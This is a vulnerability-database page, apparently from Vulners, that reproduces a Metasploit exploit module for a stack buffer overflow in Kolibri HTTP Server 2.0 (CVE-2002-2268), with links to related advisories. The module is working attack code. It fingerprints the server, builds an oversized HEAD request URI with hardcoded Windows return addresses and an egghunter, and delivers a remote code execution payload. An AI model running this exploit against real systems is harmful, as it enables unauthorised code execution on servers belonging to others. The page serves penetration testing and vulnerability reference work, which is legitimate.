Lucene search
+L

Kolibri HTTP Server HEAD Buffer Overflow

🗓️ 26 Dec 2010 00:00:00Reported by mr_me <[email protected]>, TheLeader, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 26 Views

Kolibri HTTP Server HEAD Buffer Overflow in version 2.0 with stack buffer overflow vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow
15 Mar 201100:00
zdt
circl
Circl
CVE-2002-2268
3 Nov 201000:00
circl
cve
CVE
CVE-2002-2268
18 Oct 200710:00
cve
cvelist
Cvelist
CVE-2002-2268
18 Oct 200710:00
cvelist
exploitdb
Exploit DB
Webster HTTP Server - GET Buffer Overflow (Metasploit)
3 Nov 201000:00
exploitdb
exploitdb
Exploit DB
Kolibri HTTP Server 2.0 - HEAD Buffer Overflow (Metasploit)
3 Aug 201100:00
exploitdb
metasploit
Metasploit
Webster HTTP Server GET Buffer Overflow
3 Nov 201012:19
metasploit
nvd
NVD
CVE-2002-2268
31 Dec 200205:00
nvd
packetstorm
Packet Storm
Webster HTTP Server GET Buffer Overflow
5 Nov 201000:00
packetstorm
packetstorm
Packet Storm
Kolibri 2.0 HTTP Server HEAD Buffer Overflow
14 Mar 201100:00
packetstorm
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Egghunter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kolibri HTTP Server HEAD Buffer Overflow',
        'Description' => %q{
          This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.
        },
        'Author' => [
          'mr_me <steventhomasseeley[at]gmail.com>', # msf
          'TheLeader',                            # original exploit
          'sinn3r',                               # msf commit
        ],
        'References' => [
          [ 'CVE', '2002-2268' ],
          [ 'OSVDB', '70808' ],
          [ 'BID', '6289' ],
          [ 'EDB', '15834' ],
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 3000,
          'DisableNops' => true,
          'BadChars' => "\x00\x0d\x0a\x3d\x20\x3f",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ],
          [ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ],
        ],
        'DisclosureDate' => '2010-12-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    info = http_fingerprint
    if info and (info =~ /kolibri-2\.0/)
      return Exploit::CheckCode::Appears('Target appears to be vulnerable')
    end

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end

  def exploit
    # 7E429353    FFE4            JMP     ESP
    # For a reliable and large payload, we use an egg hunter
    # and direct RET to execute code
    print_status("Sending request...")
    eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
    sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')
    sploit << eh_stub
    send_request_raw({
      'uri' => "/" + sploit,
      'version' => '1.1',
      'method' => 'HEAD',
      'headers' => { 'Content-Type' => eh_egg },
    })

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation